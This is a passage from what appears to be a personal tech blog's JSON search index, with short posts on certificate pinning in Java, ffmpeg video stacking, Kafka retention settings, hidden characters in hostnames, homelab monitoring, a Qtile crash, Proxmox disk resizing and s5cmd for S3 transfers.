class=\"na\"\u003eopenConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003econnect\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eCertificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertificates\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetServerCertificates\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecertificates\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecert\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertificates\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eMessageDigest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMessageDigest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SHA-256\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"kt\"\u003ebyte\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003edigest\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetEncoded\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBase64\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetEncoder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"na\"\u003eencodeToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003edisconnect\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;No certificates found\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"HTTP Certificate Pinning"},{"content":"I wanted to combine videos using the tool. I had two videos in 9x16 format and wanted to combine side by side.\nWith a little bit of trial and error, I was able to achieve this using ffmpeg\nThe exact command is\nffmpeg -i video1.mp4 -i video2.mp4 -filter_complex \u0026#34;[0:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v0];[1:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v1];[v0][v1]hstack=inputs=2[v]\u0026#34; -map \u0026#34;[v]\u0026#34; -map 0:a -c:v libx264 -c:a aac output.mp4 Breaking Down the Command Let\u0026rsquo;s understand what each part of this complex command does:\nInput Files -i video1.mp4 -i video2.mp4 This specifies our two input videos. FFmpeg will reference them as [0] and [1] respectively.\nFilter Chain Explanation The -filter_complex parameter contains several operations:\n1. Scale and Pad First Video:\n[0:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v0] scale=540:960: Resize to 540x960 pixels force_original_aspect_ratio=decrease: Maintain aspect ratio, making the video smaller if needed pad=540:960:(ow-iw)/2:(oh-ih)/2: Add padding to center the video in a 540x960 frame [v0]: Label this processed video as \u0026ldquo;v0\u0026rdquo; 2. Scale and Pad Second Video:\n[1:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v1] Same process for the second video, labeled as \u0026ldquo;v1\u0026rdquo;.\n3. Horizontal Stack:\n[v0][v1]hstack=inputs=2[v] hstack: Horizontally stack the two processed videos inputs=2: Specify we\u0026rsquo;re combining 2 video streams [v]: Label the final combined video Output Mapping and Encoding -map \u0026#34;[v]\u0026#34; -map 0:a -c:v libx264 -c:a aac output.mp4 -map \u0026quot;[v]\u0026quot;: Use our combined video stream -map 0:a: Use audio from the first video -c:v libx264: Encode video using H.264 codec -c:a aac: Encode audio using AAC codec Its great that in Linux even without tools such as Adobe Premiere Pro, you can achieve so much.\n","permalink":"https://madhur.co.in/blog/2025/04/01/combine-videos-ffmpeg.html","summary":"\u003cp\u003eI wanted to combine videos using the tool. I had two videos in 9x16 format and wanted to combine side by side.\u003c/p\u003e\n\u003cp\u003eWith a little bit of trial and error, I was able to achieve this using \u003ca href=\"https://ffmpeg.org/\"\u003effmpeg\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe exact command is\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003effmpeg -i video1.mp4 -i video2.mp4 -filter_complex \u0026#34;[0:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v0];[1:v]scale=540:960:force_original_aspect_ratio=decrease,pad=540:960:(ow-iw)/2:(oh-ih)/2[v1];[v0][v1]hstack=inputs=2[v]\u0026#34; -map \u0026#34;[v]\u0026#34; -map 0:a -c:v libx264 -c:a aac output.mp4\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"breaking-down-the-command\"\u003eBreaking Down the Command\u003c/h2\u003e\n\u003cp\u003eLet\u0026rsquo;s understand what each part of this complex command does:\u003c/p\u003e","title":"Combine videos using ffmpeg"},{"content":"Recently we faced an interesting issue in our data pipeline where we observed Kafka consumer lag suddenly dropping whenever it reached a certain threshold. This behavior was unexpected and potentially concerning, as consumer lag—the difference between the latest message produced and the message currently being processed by consumers—should typically decrease gradually as consumers process messages.\nThe Problem Our application was relatively simple, with two instances of pods running in Kubernetes. Since we didn\u0026rsquo;t need high throughput, the Kafka topic had only a single partition. The screenshot below shows the behavior we observed.\nAs visible in the graph, the consumer lag would build up gradually but then suddenly drop at certain points, creating a sawtooth pattern rather than the expected gradual decline.\nInvestigation When facing such an issue with Kafka lag abruptly dropping, one of the first things to check is the retention.bytes setting of the topic and its partitions. It\u0026rsquo;s possible that when a topic reaches its retention.bytes capacity, Kafka will start deleting the oldest log segment files. The size of these segment files is defined by the segment.bytes property. To inspect our topic\u0026rsquo;s configuration, we ran:\n./kafka-topics.sh --bootstrap-server localhost:9092 --describe --topic single_partition_topic --describe Topic: single_partition_topic\tTopicId: tNA9_CAwT62MzHsW88b_Ig\tPartitionCount: 1\tReplicationFactor: 2\tConfigs: segment.bytes=104857600,retention.bytes=173741824 Topic: single_partition_topic\tPartition: 0\tLeader: 1\tReplicas: 1,3\tIsr: 1,3 Root Cause Analysis The output revealed that our topic had:\nA retention.bytes of 173MB A segment.bytes of approximately 100MB This configuration meant that for this topic, the Kafka server could maintain at most two segment log files:\nThe first segment file (up to 100MB) A second segment file (which could only grow to about 73MB before hitting the total retention limit) When the second file would reach around 73MB, Kafka would be forced to delete the first file entirely to stay within the retention limit. This deletion caused the earliest available offset in the topic to jump forward, resulting in the abrupt consumer lag drop we were observing. This problem is particularly likely to occur with topics that have a low number of partitions, since the retention.bytes setting is applied at the partition level, not at the topic level.\nSolution The solution was straightforward: increase the retention.bytes property of the topic to allow for more data retention. We executed:\n./kafka-configs.sh --bootstrap-server localhost:9092 --entity-type topics --entity-name single_partition_topic --alter --add-config retention.bytes=1073741824 With this command, we increased the retention.bytes property from 173MB to 1073MB (approximately 1GB), which solved our problem by allowing more headroom for message retention.\nTo verify that the setting was applied correctly, we ran:\n./kafka-configs.sh --bootstrap-server localhost:9092 --entity-type topics --entity-name single_partition_topic --describe --all All configs for topic single_partition_topic are: compression.type=producer sensitive=false synonyms={DEFAULT_CONFIG:compression.type=producer} leader.replication.throttled.replicas= sensitive=false synonyms={} message.downconversion.enable=true sensitive=false synonyms={DEFAULT_CONFIG:log.message.downconversion.enable=true} min.insync.replicas=1 sensitive=false synonyms={DEFAULT_CONFIG:min.insync.replicas=1} segment.jitter.ms=0 sensitive=false synonyms={} cleanup.policy=delete sensitive=false synonyms={DEFAULT_CONFIG:log.cleanup.policy=delete} flush.ms=9223372036854775807 sensitive=false synonyms={} follower.replication.throttled.replicas= sensitive=false synonyms={} segment.bytes=104857600 sensitive=false synonyms={STATIC_BROKER_CONFIG:log.segment.bytes=104857600, DEFAULT_CONFIG:log.segment.bytes=1073741824} retention.ms=86400000 sensitive=false synonyms={} flush.messages=9223372036854775807 sensitive=false synonyms={DEFAULT_CONFIG:log.flush.interval.messages=9223372036854775807} message.format.version=2.8-IV1 sensitive=false synonyms={DEFAULT_CONFIG:log.message.format.version=2.8-IV1} max.compaction.lag.ms=9223372036854775807 sensitive=false synonyms={DEFAULT_CONFIG:log.cleaner.max.compaction.lag.ms=9223372036854775807} file.delete.delay.ms=60000 sensitive=false synonyms={DEFAULT_CONFIG:log.segment.delete.delay.ms=60000} max.message.bytes=1048588 sensitive=false synonyms={DEFAULT_CONFIG:message.max.bytes=1048588} min.compaction.lag.ms=0 sensitive=false synonyms={DEFAULT_CONFIG:log.cleaner.min.compaction.lag.ms=0} message.timestamp.type=CreateTime sensitive=false synonyms={DEFAULT_CONFIG:log.message.timestamp.type=CreateTime} preallocate=false sensitive=false synonyms={DEFAULT_CONFIG:log.preallocate=false} min.cleanable.dirty.ratio=0.5 sensitive=false synonyms={DEFAULT_CONFIG:log.cleaner.min.cleanable.ratio=0.5} index.interval.bytes=4096 sensitive=false synonyms={DEFAULT_CONFIG:log.index.interval.bytes=4096} unclean.leader.election.enable=false sensitive=false synonyms={DEFAULT_CONFIG:unclean.leader.election.enable=false} retention.bytes=1073741824 sensitive=false synonyms={DYNAMIC_TOPIC_CONFIG:retention.bytes=1073741824, STATIC_BROKER_CONFIG:log.retention.bytes=173741824, DEFAULT_CONFIG:log.retention.bytes=-1} delete.retention.ms=86400000 sensitive=false synonyms={DEFAULT_CONFIG:log.cleaner.delete.retention.ms=86400000} segment.ms=604800000 sensitive=false synonyms={} message.timestamp.difference.max.ms=9223372036854775807 sensitive=false synonyms={DEFAULT_CONFIG:log.message.timestamp.difference.max.ms=9223372036854775807} segment.index.bytes=10485760 sensitive=false synonyms={DEFAULT_CONFIG:log.index.size.max.bytes=10485760} This command will show all configurations for the topic with a DEFAULT or DYNAMIC source column, where:\nDYNAMIC means the configuration was explicitly set for this specific topic DEFAULT means the configuration is inherited from the broker-level defaults In the output (partially shown below), we could confirm the change was successful:\nretention.bytes=1073741824 sensitive=false synonyms={DYNAMIC_TOPIC_CONFIG:retention.bytes=1073741824, STATIC_BROKER_CONFIG:log.retention.bytes=173741824, DEFAULT_CONFIG:log.retention.bytes=-1} The presence of DYNAMIC_TOPIC_CONFIG:retention.bytes=1073741824 indicates that our topic-level override was successfully applied.\nBest Practices and Additional Considerations When configuring Kafka topics, keep these points in mind:\nBalance retention settings: Remember that both retention.bytes and retention.ms (time-based retention) can trigger log segment deletion. Configure both appropriately for your use case. Monitor partition growth: For topics with few partitions, monitor data growth closely and set retention limits accordingly. Consider partition count: If you need to retain more data and scaling consumption throughput is desirable, consider increasing the partition count. Check broker defaults: The default retention settings are defined in the Kafka broker\u0026rsquo;s server.properties file under log.retention.bytes and log.retention.hours. Be aware of these defaults when creating new topics. Conclusion Sudden drops in Kafka consumer lag can often be traced back to retention settings causing older messages to be deleted. By understanding how retention.bytes and segment.bytes interact, particularly at the partition level, you can properly size these settings to match your data retention needs.\nIf you\u0026rsquo;re seeing unexpected behavior in your Kafka metrics, checking these configuration parameters should be one of your first troubleshooting steps.\n","permalink":"https://madhur.co.in/blog/2025/03/01/case-of-sudden-kafka-lag-drop.html","summary":"\u003cp\u003eRecently we faced an interesting issue in our data pipeline where we observed Kafka consumer lag suddenly dropping whenever it reached a certain threshold. This behavior was unexpected and potentially concerning, as consumer lag—the difference between the latest message produced and the message currently being processed by consumers—should typically decrease gradually as consumers process messages.\u003c/p\u003e\n\u003ch2 id=\"the-problem\"\u003eThe Problem\u003c/h2\u003e\n\u003cp\u003eOur application was relatively simple, with two instances of pods running in Kubernetes. Since we didn\u0026rsquo;t need high throughput, the Kafka topic had only a single partition. The screenshot below shows the behavior we observed.\u003c/p\u003e","title":"Case of sudden Kafka lag drop"},{"content":"Recently we faced an issue, where there were some hidden characters inside the hostname of a configuration store of our backend services.\nBecause of this, we were getting continously getting DNS resolution errors.\nOne quick way to reveal such hidden characters is to run the command\necho \u0026#34;string\u0026#34; | cat -v For example try copying the belwo string into dig or a whois website.\nmadhur.​co.​in The above string contains hidden characters which can be reveled as follows\necho \u0026#34;madhur.co.in\u0026#34; | command cat -v madhur.M-bM-^@M-^Kco.M-bM-^@M-^Kin Sometimes these characters are not visible even in terminals, because modern terminals tend to be very good \u0026ldquo;renderers\u0026rdquo; and would render these hidden characters.\n","permalink":"https://madhur.co.in/blog/2025/02/01/revealing-hidden-characters.html","summary":"\u003cp\u003eRecently we faced an issue, where there were some hidden characters inside the hostname of a configuration store of our backend services.\u003c/p\u003e\n\u003cp\u003eBecause of this, we were getting continously getting DNS resolution errors.\u003c/p\u003e\n\u003cp\u003eOne quick way to reveal such hidden characters is to run the command\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;string\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e cat -v\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor example try copying the belwo string into dig or a whois website.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emadhur.​co.​in\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe above string contains hidden characters which can be reveled as follows\u003c/p\u003e","title":"Revealing Hidden characters in a string"},{"content":"Quick update on my personal homelab server.\nI set up a dashboard using homepage to monitor and manage all my services in one place. Though it was a bit tedious to set up, it turned out well.\nI also setup a Debian VM on my proxmox to host some of the applications on docker.\nThe applications I am hosting through docker are:\nFreshRSS - RSS Aggregator Memos - Self-hosted note-taking application for capturing and organizing thoughts Wallos - Open Source tool for tracking and managing personal subscriptions Mailcow - Full-featured email server solution with SMTP capabilities Setting up Mailcow has been rewarding. As now, I am able to deliver some of the notifications from my applications directly to email.\nExample of some of the notifications are:\nTorrent download complete notification through qbittorrent. Disk usage of some of my applications Find the disk monitoring script here\nCPU Utilizations of my servers in homelab through AlertManager Prometheus configuraiton for same\ngroups: - name: cpu_alerts rules: - alert: HighCPUUsage expr: | (1 - avg by(instance) ( rate(node_cpu_seconds_total{mode=\u0026#34;idle\u0026#34;}[1m]) )) * 100 \u0026gt; 50 for: 2m labels: severity: warning annotations: summary: High CPU usage detected on {{ $labels.instance }}description: | CPU usage has exceeded 50% Current value: {{ $value }}% Instance: {{ $labels.instance }}- alert: HighCPUUsageCritical expr: | (1 - avg by(instance) ( rate(node_cpu_seconds_total{mode=\u0026#34;idle\u0026#34;}[1m]) )) * 100 \u0026gt; 80 for: 2m labels: severity: critical annotations: summary: Critical CPU usage detected on {{ $labels.instance }}description: | CPU usage has exceeded 80% Current value: {{ $value }}% Instance: {{ $labels.instance }}``` \u0026lt;a href=\u0026#34;/images/email3.png\u0026#34; data-fancybox\u0026gt; \u0026lt;img src=\u0026#39;/images/email3.png\u0026#39; height=500px /\u0026gt; \u0026lt;/a\u0026gt; ### Availability notifications through [Uptime Kuma](https://github.com/louislam/uptime-kuma) \u0026lt;a href=\u0026#34;/images/email4.png\u0026#34; data-fancybox\u0026gt; \u0026lt;img src=\u0026#39;/images/email4.png\u0026#39; height=500px /\u0026gt; \u0026lt;/a\u0026gt; ","permalink":"https://madhur.co.in/blog/2025/01/19/homelab-dashboard.html","summary":"\u003cp\u003eQuick update on my personal homelab server.\u003c/p\u003e\n\u003cp\u003eI set up a dashboard using \u003ca href=\"https://github.com/gethomepage/homepage\"\u003ehomepage\u003c/a\u003e to monitor and manage all my services in one place. Though it was a bit tedious to set up, it turned out well.\u003c/p\u003e\n\u003ca href=\"/images/homepage.png\" data-fancybox\u003e\n\u003cimg src='/images/homepage.png' height=800px /\u003e\n\u003c/a\u003e\n\u003cp\u003eI also setup a \u003ca href=\"https://cdimage.debian.org/images/cloud/bookworm/20250115-1993/\"\u003eDebian VM\u003c/a\u003e on my \u003ca href=\"https://www.proxmox.com/en/\"\u003eproxmox\u003c/a\u003e to host some of the applications on docker.\u003c/p\u003e\n\u003cp\u003eThe applications I am hosting through docker are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://freshrss.org/index.html\"\u003eFreshRSS\u003c/a\u003e - RSS Aggregator\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/usememos/memos\"\u003eMemos\u003c/a\u003e - Self-hosted note-taking application for capturing and organizing thoughts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ellite/Wallos\"\u003eWallos\u003c/a\u003e - Open Source tool for tracking and managing personal subscriptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mailcow/mailcow-dockerized\"\u003eMailcow\u003c/a\u003e - Full-featured email server solution with SMTP capabilities\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSetting up Mailcow has been rewarding. As now, I am able to deliver some of the notifications from my applications directly to email.\u003c/p\u003e","title":"Homelab Dashboard"},{"content":"I was playing around with Qtile when it suddenly stopped working.\nI tried everything to troubleshoot but wasn\u0026rsquo;t getting any clues.\nThere was nothing in ~/.local/share/qtile/qtile.log\nI found this entry in systemd journal through journalctl | grep qtile Here\u0026rsquo;s what the logs showed:\nDec 24 09:14:45 madhur-b550mds3h systemd-coredump[26096]: Process 26057 (qtile) of user 1000 terminated abnormally with signal 11/SEGV, processing... Dec 24 09:14:45 madhur-b550mds3h systemd-coredump[26097]: Process 26057 (qtile) of user 1000 dumped core. Dec 24 09:19:53 madhur-b550mds3h kernel: qtile[3456]: segfault at 7ffc3f44dff8 ip 0000760e6dcbc2d5 sp 00007ffc3f44e000 error 6 in libc.so.6[ad2d5,760e6dc33000+171000] likely on CPU 4 (core 4, socket 0) Then I came across this Reddit thread\nAccording to this thread, installing nwg-look had modified the file ~/.icons/default/index.theme and this was causing the issue. I vaguely remembered installing this program a few days back.\nI immediately ran pacman -R nwg-look to remove it since I didn\u0026rsquo;t need it anyway.\nAnd voila! It solved the problem of loading Qtile. That\u0026rsquo;s one of the weirdest tech issues I have ever come across. If you\u0026rsquo;re experiencing similar crashes with Qtile on Arch Linux, it might be worth checking if you have nwg-look installed.\n","permalink":"https://madhur.co.in/blog/2024/12/25/qtile-crash-arch-linux.html","summary":"\u003cp\u003eI was playing around with \u003ca href=\"https://qtile.org/\"\u003eQtile\u003c/a\u003e when it suddenly stopped working.\u003c/p\u003e\n\u003cp\u003eI tried everything to troubleshoot but wasn\u0026rsquo;t getting any clues.\u003c/p\u003e\n\u003cp\u003eThere was nothing in \u003ccode\u003e~/.local/share/qtile/qtile.log\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eI found this entry in systemd journal through \u003ccode\u003ejournalctl | grep qtile\u003c/code\u003e\nHere\u0026rsquo;s what the logs showed:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eDec 24 09:14:45 madhur-b550mds3h systemd-coredump[26096]: Process 26057 (qtile) of user 1000 terminated abnormally with signal 11/SEGV, processing...\nDec 24 09:14:45 madhur-b550mds3h systemd-coredump[26097]: Process 26057 (qtile) of user 1000 dumped core.\nDec 24 09:19:53 madhur-b550mds3h kernel: qtile[3456]: segfault at 7ffc3f44dff8 ip 0000760e6dcbc2d5 sp 00007ffc3f44e000 error 6 in libc.so.6[ad2d5,760e6dc33000+171000] likely on CPU 4 (core 4, socket 0)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThen I came across this \u003ca href=\"https://www.reddit.com/r/archlinux/comments/1gtgx9e/some_applications_dump_core_after_update/\"\u003eReddit thread\u003c/a\u003e\u003c/p\u003e","title":"Qtile crash on Arch Linux"},{"content":"I needed to resize a disk in my Proxmox VM. Specifically, I was working with a Debian 12 (Bookworm) VM created through Proxmox VE Helper Scripts. These VMs come with a default size of 2 GB, even when using the advanced installation option. Unfortunately, there\u0026rsquo;s no way to select the disk size during the initial installation process.\nPre-Requisites First, install the required tools:\napt install parted fdisk Steps to Resize the disk Resize the disk through Proxmox GUI.\nLogin to the VM and run fdisk -l . You should see warnings similar to:\nGPT PMBR size mismatch (167772159 != 314572799) will be corrected by write. The backup GPT table is not on the end of the device. This problem will be corrected by write.\nUse parted to fix the partition table: parted /dev/sda print You\u0026rsquo;ll see a warning:\nWarning: Not all of the space available to /dev/sda appears to be used, you can fix the GPT to use all of the space (an extra 146800640 blocks) or continue with the current setting?\nFix the partition table Fix/Ignore? F Resize the partition: (parted) resizepart 1 Warning: Partition /dev/sda1 is being used. Are you sure you want to continue? Yes/No? y End? [85.9GB]? 100% quit Apply the changes to the filesystem: resize2fs /dev/sda1 Note: This method works only for ext4 non-LVM filesystems.\n","permalink":"https://madhur.co.in/blog/2024/11/01/resize-disks-proxmox.html","summary":"\u003cp\u003eI needed to resize a disk in my Proxmox VM. Specifically, I was working with a Debian 12 (Bookworm) VM created through \u003ca href=\"https://tteck.github.io/Proxmox/#debian-12-vm\"\u003eProxmox VE Helper Scripts\u003c/a\u003e. These VMs come with a default size of 2 GB, even when using the advanced installation option. Unfortunately, there\u0026rsquo;s no way to select the disk size during the initial installation process.\u003c/p\u003e\n\u003ch3 id=\"pre-requisites\"\u003ePre-Requisites\u003c/h3\u003e\n\u003cp\u003eFirst, install the required tools:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eapt install parted fdisk\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"steps-to-resize-the-disk\"\u003eSteps to Resize the disk\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eResize the disk through Proxmox GUI.\u003c/p\u003e","title":"Resize disk in Proxmox VM"},{"content":"If you are looking to copy huge amount of data to/from AWS S3\nLook no further than s5cmd\nDownload the entire s3 bucket to local\ns5cmd cp s3://bucket/ . I was able to download almost 10 GB folder in couple of minutes, which is around 83MBps ~ 10 MB/s\nWhereas aws s3 cp --recursive s3://bucket/ . was giving me around 500 